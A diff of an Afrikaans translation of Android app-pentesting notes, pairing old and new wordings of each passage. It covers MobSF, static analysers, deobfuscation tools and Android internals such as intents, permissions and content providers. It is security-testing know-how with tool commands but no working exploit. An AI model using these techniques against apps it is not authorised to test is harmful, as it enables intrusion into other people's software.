- **Klas Metodes Opnoem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
- **Klas Patroon Soek**: Soek klasse volgens patroon
- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace.
Sodra jy die bykomende module wat jy wil gebruik gekies het, moet jy druk op "**Start Instrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
Sodra jy die bykomende module gekies het wat jy wil gebruik, moet jy druk op "**Start Intrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
**Shell**
Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** aan die onderkant van die dinamiese analise bladsy. Sommige interessante opdragte:
Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** onderaan die dinamiese analise bladsy. Sommige interessante opdragte:
```bash
help
shell ls
@ -573,10 +573,10 @@ receivers
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy **stuur** die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP.\
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **fuzz http versoeke** en soek na kwesbaarhede.
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy druk op "**Start Web API Fuzzer**" om **http versoeke te fuzz** en soek na kwesbaarhede.
> [!NOTE]
> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur:
> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur te doen:
>
> ```
> adb shell settings put global http_proxy :0
@ -595,7 +595,7 @@ Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI** uit te voer.
### [Qark](https://github.com/linkedin/qark)
Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
Hierdie gereedskap is ontwerp om te soek na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede**, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -615,7 +615,7 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER is 'n opdraglyn-toepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
SUPER is 'n opdraglyn-toepassing wat gebruik kan word in Windows, MacOS X en Linux, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reëls skep om te analiseer wat hulle nodig het.
@ -627,11 +627,11 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statische kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statiese kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn toepassing sleep en dit 'n visuele en draagbare verslag vir jou sal genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
Laai [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases):
Laai [nuutste weergawe](https://github.com/vincentcox/StaCoAn/releases) af:
```
./stacoan
```
@ -647,7 +647,7 @@ androbugs.exe -f [APK file]
**Androwarn** is 'n hulpmiddel wat as hoofdoel het om die gebruiker te detecteer en te waarsku oor potensiële kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is.
Die detectie word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
Die opsporing word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
Hierdie hulpmiddel soek na **gewone gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders eksfiltrasie, Klank/video vloei onderskepping, PIM data wysiging, Willekeurige kode uitvoering...
```
@ -659,40 +659,40 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
**MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Raamwerk. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel daarvan is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals.
Dit kan:
Dit is in staat om:
- Java en Smali kode onttrek met behulp van verskillende hulpmiddels
- APK's analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Privaat inligting uit die APK onttrek met behulp van regexps.
- Die Manifest analiseer.
- Gevonde domeine analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
- Java en Smali kode te onttrek met behulp van verskillende hulpmiddels
- APK's te analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Privaatsakennisse uit die APK te onttrek met behulp van regexps.
- Die Manifest te analiseer.
- Gevonde domeine te analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK te deobfuscate via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Nuttig om malware te detecteer: [https://koodous.com/](https://koodous.com)
## Obfuskerende/Deobfuskerende kode
## Obfuscating/Deobfuscating code
Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer. Geheime mag of mag nie obfuskeer wees nie.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Van [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer sowel as ongebruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2.
Van [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit is in staat om bytecode te optimaliseer sowel as om ongebruikte instruksies te identifiseer en te verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2.
ProGuard word versprei as deel van die Android SDK en loop wanneer die toepassing in vrystellingmodus gebou word.
### [DexGuard](https://www.guardsquare.com/dexguard)
Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Vind 'n stap-vir-stap gids om die apk te deobfuscate in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Van daardie gids) Laas keer wat ons gekontroleer het, was die Dexguard werksmodus:
(Van daardie gids) Laas keer wat ons gekyk het, was die Dexguard werksmodus:
- laai 'n hulpbron as 'n InputStream;
- voer die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel;
- doen 'n nuttelose obfuskeringsproses om 'n paar minute se tyd van 'n omkeerder te mors;
- doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omgekeerder te mors;
- voer die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry;
- laastens laai die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode.
- laai uiteindelik die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode.
### [DeGuard](http://apk-deguard.com)
@ -702,11 +702,11 @@ Jy kan 'n obfuskeer APK na hul platform oplaai.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Dit is 'n LLM hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android toepassings te vind en android toepassingskode te deobfuskeer. Gebruik Google se Gemini publieke API.
Dit is 'n LLM-hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android-apps te vind en android-appkode te deobfuscate. Gebruik Google's Gemini openbare API.
### [Simplify](https://github.com/CalebFenton/simplify)
Dit is 'n **generiese android deobfuskeerder.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimalisering tipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskering gebruik word nie.
Dit is 'n **generiese android deobfuscator.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskering gebruik word nie.
### [APKiD](https://github.com/rednaga/APKiD)
@ -714,7 +714,7 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko
### Manual
[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskering te reverseer**](manual-deobfuscation.md)
[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskerings te reverse**](manual-deobfuscation.md)
## Labs

View File

@ -11,11 +11,11 @@
### UID Skeiding
**Elke toepassing word aan 'n spesifieke Gebruiker ID toegeken**. Dit gebeur tydens die installasie van die app sodat **die app slegs met lêers wat aan sy Gebruiker ID behoort of gedeelde** lêers kan interaksie hê. Daarom kan slegs die app self, sekere komponente van die OS en die wortelgebruiker toegang tot die toepassingsdata hê.
**Elke toepassing word aan 'n spesifieke Gebruiker ID toegeken**. Dit gebeur tydens die installasie van die app sodat **die app slegs met lêers wat aan sy Gebruiker ID behoort of gedeelde** lêers kan kommunikeer. Daarom kan slegs die app self, sekere komponente van die OS en die wortelgebruiker toegang tot die toepassingsdata hê.
### UID Deel
**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een daarvan gecompromitteer word, sal die data van beide toepassings gecompromitteer wees. Dit is waarom hierdie gedrag **afgeraadsaam** word.\
**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een daarvan gecompromitteer word, sal die data van beide toepassings gecompromitteer wees. Dit is waarom hierdie gedrag **afgeraadpleeg** word.\
**Om dieselfde UID te deel, moet toepassings dieselfde `android:sharedUserId` waarde in hul manifes definieer.**
### Sandboxing
@ -25,8 +25,8 @@ Vanaf Android 5.0(L) word **SELinux** afgedwing. Basies het SELinux alle prosesi
### Toestemmings
Wanneer jy 'n **app installeer en dit vra vir toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml**er geconfigureer is. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **naam** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een wat gespesifiseer is.\
Let daarop dat android toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies vir toestemmings vra** maar al die toestemmings moet **verklaar** word in die **manifest.**
Wanneer jy 'n **app installeer en dit vra om toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lê. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **naam** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een wat gespesifiseer is.\
Let daarop dat android toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies om toestemmings vra** maar al die toestemmings moet **verklaar** word in die **manifest.**
Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs apps wat 'n gespesifiseerde toestemming het**.\
'n Toestemmingselement het drie attribuut:
@ -41,7 +41,7 @@ Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs
## Vooraf Geïnstalleerde Toepassings
Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gidse gevind en sommige van hulle is **geoptimaliseer** (jy mag dalk nie eens die `classes.dex` lêer vind nie). Hierdie toepassings is die moeite werd om na te kyk omdat hulle soms **met te veel toestemmings loop** (as wortel).
Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gidse gevind en sommige van hulle is **geoptimaliseer** (jy mag nie eens die `classes.dex` lêer vind nie). Hierdie toepassings is die moeite werd om na te kyk omdat hulle soms **met te veel toestemmings loop** (as wortel).
- Diegene wat saam met die **AOSP** (Android OpenSource Project) **ROM** verskaf word
- Bygevoeg deur die toestel **fabrikant**
@ -59,10 +59,10 @@ Sodra die su binêre geconfigureer is, word 'n ander Android app gebruik om met
### ROMs
Dit is moontlik om die **OS te vervang deur 'n pasgemaakte firmware te installeer**. Deur dit te doen, is dit moontlik om die nuttigheid van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android kode te verkry.\
**OmniROM** en **LineageOS** is twee van die gewildste firmwares om te gebruik.
Dit is moontlik om die **OS te vervang deur 'n aangepaste firmware te installeer**. Deur dit te doen, is dit moontlik om die nuttigheid van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android kode te verkry.\
**OmniROM** en **LineageOS** is twee van die gewildste firmware om te gebruik.
Let daarop dat **dit nie altyd nodig is om die toestel te root** om 'n pasgemaakte firmware te installeer nie. **Sommige fabrikante laat** die ontsluiting van hul bootloaders op 'n goed gedokumenteerde en veilige manier toe.
Let daarop dat **dit nie altyd nodig is om die toestel te root** om 'n aangepaste firmware te installeer nie. **Sommige fabrikante laat** die ontsluiting van hul bootloaders op 'n goed gedokumenteerde en veilige manier toe.
### Gevolge
@ -87,13 +87,13 @@ Sodra 'n toestel ge-root is, kan enige app toegang as wortel vra. As 'n kwaadwil
- `x86`: kode vir X86 verwerkers
- `mips`: kode vir slegs MIPS verwerkers
- assets/
- Berg miscellaneous lêers wat deur die app benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX lêers, soms deur kwaadwillige skrywers gebruik om addisionele kode te verberg.
- Berg miscellaneous lêers wat deur die app benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX lêers, soms deur kwaadwillige outeurs gebruik om addisionele kode te verberg.
- res/
- Bevat hulpbronne wat nie in resources.arsc gecompileer is nie.
### **Dalvik & Smali**
In Android ontwikkeling, **Java of Kotlin** word gebruik om apps te skep. In plaas daarvan om die JVM soos in lessenaarapps te gebruik, compileer Android hierdie kode in **Dalvik Uitvoerbare (DEX) bytecode**. Eerder het die Dalvik virtuele masjien hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android weergawes.
In Android ontwikkeling, **Java of Kotlin** word gebruik om apps te skep. In plaas daarvan om die JVM soos in lessenaar apps te gebruik, compileer Android hierdie kode in **Dalvik Uitvoerbare (DEX) bytecode**. Eerder het die Dalvik virtuele masjien hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android weergawes.
Vir omgekeerde ingenieurswese, word **Smali** noodsaaklik. Dit is die menslike leesbare weergawe van DEX bytecode, wat soos assembly taal optree deur bronkode in bytecode instruksies te vertaal. Smali en baksmali verwys na die samestelling en ontbinding gereedskap in hierdie konteks.
@ -114,13 +114,13 @@ As kwesbaar, **kan Intents gebruik word om 'n verskeidenheid aanvalle uit te voe
### Intent-Filter
**Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsend Receiver met verskillende tipes Intents kan interaksie hê**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die tipes uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml lêer**, hoewel dit ook 'n opsie is om dit vir Uitsend Receivers te kodeer.
**Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsend Receiver met verskillende tipes Intents kan kommunikeer**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die tipes uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml lêer**, hoewel dit ook 'n opsie is om dit vir Uitsend Receivers te kodeer.
Intent Filters bestaan uit kategorieë, aksies, en data filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat by die verklaarde kriteria pas.
Intent Filters bestaan uit kategorieë, aksies, en data filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat aan die verklaarde kriteria voldoen.
'n Kritieke aspek van Android komponente (aktiwiteite/dienste/inhoud verskaffers/uitsend receivers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps interaksie hê as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps interaksie het nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies te stel.
'n Kritieke aspek van Android komponente (aktiwiteite/dienste/inhoud verskaffers/uitsend receivers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps kommunikeer as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps kommunikeer nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies in te stel.
Boonop het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`permission`** attribuut kan gestel word om af te dwing dat slegs apps met die aangewese toestemming toegang tot die komponent kan verkry, wat 'n ekstra laag van sekuriteit en beheer oor wie met dit kan interaksie hê, toevoeg.
Boonop het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`permission`** attribuut kan gestel word om af te dwing dat slegs apps met die aangewese toestemming toegang tot die komponent kan verkry, wat 'n ekstra laag van sekuriteit en beheer oor wie met dit kan kommunikeer, toevoeg.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -143,7 +143,7 @@ Hierdie intent moet binne die manifest verklaar word soos in die volgende voorbe
</intent-filter>
</activity>
```
'n intent-filter moet die **aksie**, **data** en **kategorie** ooreenstem om 'n boodskap te ontvang.
'n Intent-filter moet die **aksie**, **data** en **kategorie** ooreenstem om 'n boodskap te ontvang.
Die "Intent resolusie" proses bepaal watter app elke boodskap moet ontvang. Hierdie proses oorweeg die **prioriteit eienskap**, wat in die **intent-filter verklaring** gestel kan word, en **die een met die hoër prioriteit sal gekies word**. Hierdie prioriteit kan tussen -1000 en 1000 gestel word en toepassings kan die `SYSTEM_HIGH_PRIORITY` waarde gebruik. As 'n **konflik** ontstaan, verskyn 'n "chooser" venster sodat die **gebruiker kan besluit**.
@ -161,17 +161,17 @@ context.startService(intent);
```
### Pending Intents
Hierdie laat ander toepassings toe om **aksies namens jou toepassing uit te voer**, met behulp van jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet 'n **intent en die aksie wat uitgevoer moet word, gespesifiseer word**. As die **verklaarde intent nie Eksplisiet is nie** (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** te doen.
Hierdie laat ander toepassings toe om **aksies namens jou toepassing uit te voer**, met behulp van jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet 'n **intent en die aksie wat uitgevoer moet word, gespesifiseer word**. As die **verklaarde intent nie Eksplisiet is nie** (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** uit te voer.
### Broadcast Intents
In teenstelling met die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur meerdere apps ontvang word**. Dit is egter vanaf API weergawe 14 **moontlik om die app wat die boodskap moet ontvang, te spesifiseer** met behulp van Intent.setPackage.
In teenstelling met die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur verskeie apps ontvang word**. Dit is egter vanaf API weergawe 14 **moontlik om die app wat die boodskap moet ontvang, te spesifiseer** met behulp van Intent.setPackage.
Alternatiewelik is dit ook moontlik om **'n toestemming te spesifiseer wanneer die broadcast gestuur word**. Die ontvangende app sal daardie toestemming moet hê.
Daar is **twee tipes** Uitsendings: **Normaal** (asynchrone) en **Geordende** (sinchrone). Die **volgorde** is gebaseer op die **geconfigureerde prioriteit binne die ontvanger** element. **Elke app kan die Uitsending verwerk, oordra of laat val.**
Daar is **twee tipes** Uitsendings: **Normaal** (asynchrone) en **Geordende** (synchroniese). Die **volgorde** is gebaseer op die **geconfigureerde prioriteit binne die ontvanger** element. **Elke app kan die Broadcast verwerk, oordra of laat val.**
Dit is moontlik om 'n **uitsending** te **stuur** met die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas.\
Dit is moontlik om 'n **broadcast** te **stuur** met die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas.\
Jy kan ook die funksie **`sendBroadcast`** van die **`LocalBroadCastManager`** gebruik wat verseker dat die **boodskap nooit die app verlaat nie**. Deur dit te gebruik, sal jy selfs nie 'n ontvanger komponent hoef te eksporteer nie.
### Sticky Broadcasts
@ -221,7 +221,7 @@ Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie
### Sleutelkonsepte
- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisiering van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in die soeke na kwesbaarhede.
- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisie van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in die soeke na kwesbaarhede.
- **Messenger**: As 'n gekoppelde diens, fasiliteer Messenger IPC met 'n fokus op die verwerking van data deur die `onBind` metode. Dit is noodsaaklik om hierdie metode noukeurig te ondersoek vir enige onveilige datahantering of uitvoering van sensitiewe funksies.
@ -231,12 +231,12 @@ Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie
Hierdie sluit in: **Aktiwiteite, Dienste, Uitsendingsontvangers en Verskaffers.**
### Laaier Aktiwiteit en ander aktiwiteite
### Laaieraktiwiteit en ander aktiwiteite
In Android-toepassings is **aktiwiteite** soos skerms, wat verskillende dele van die app se gebruikerskoppelvlak vertoon. 'n App kan baie aktiwiteite hê, elkeen wat 'n unieke skerm aan die gebruiker aanbied.
Die **laaier aktiwiteit** is die hooftoegangspunt tot 'n app, wat gelaai word wanneer jy op die app se ikoon tik. Dit is gedefinieer in die app se manifeslêer met spesifieke MAIN en LAUNCHER intents:
```markup
Die **laaieraktiwiteit** is die hooftoegangspunt tot 'n app, wat gelaai word wanneer jy op die app se ikoon tik. Dit is gedefinieer in die app se manifeslêer met spesifieke MAIN en LAUNCHER intents:
```html
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@ -286,21 +286,21 @@ Dienste is veelsydig; hulle kan op verskillende maniere geaktiveer word, met **I
**Uitsendingsontvangers** dien as luisteraars in 'n boodskapstelsel, wat verskeie toepassings toelaat om op dieselfde boodskappe van die stelsel te reageer. 'n App kan **'n ontvanger registreer** op **twee primêre maniere**: deur die app se **Manifest** of **dynamies** binne die app se kode via die **`registerReceiver`** API. In die Manifest word uitsendings gefiltreer met toestemmings, terwyl dinamies geregistreerde ontvangers ook toestemmings kan spesifiseer tydens registrasie.
**Intent filters** is van kardinale belang in beide registrasiemethoden, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing.
**Intent filters** is van kardinale belang in beide registrasiemetodes, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing.
Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **sinchroniese**, waar ontvangers die uitsending ontvang op grond van ingestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriteer om 'n uitsending te onderskep.
Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **synchronies**, waar ontvangers die uitsending ontvang op grond van ingestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriteer om 'n uitsending te onderskep.
Om 'n ontvanger se funksionaliteit te verstaan, soek na die **`onReceive`** metode binne sy klas. Hierdie metode se kode kan die ontvangde Intent manipuleer, wat die behoefte aan datavalidatie deur ontvangers beklemtoon, veral in **Bestelde Uitsendings**, wat die Intent kan wysig of laat val.
### Inhoudverskaffer
**Inhoudverskaffers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik om toegang te beheer. Daarbenewens kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangsbeheer.
**Inhoudverskaffers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is van kardinale belang om toegang te beheer. Boonop kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangbeheer.
Invoervalidasie is van kardinale belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Inhoudverskaffers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat datamanipulasie en -deling tussen toepassings fasiliteer.
Invoervalidasie is van uiterste belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Inhoudverskaffers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat datamanipulasie en -deling tussen toepassings fasiliteer.
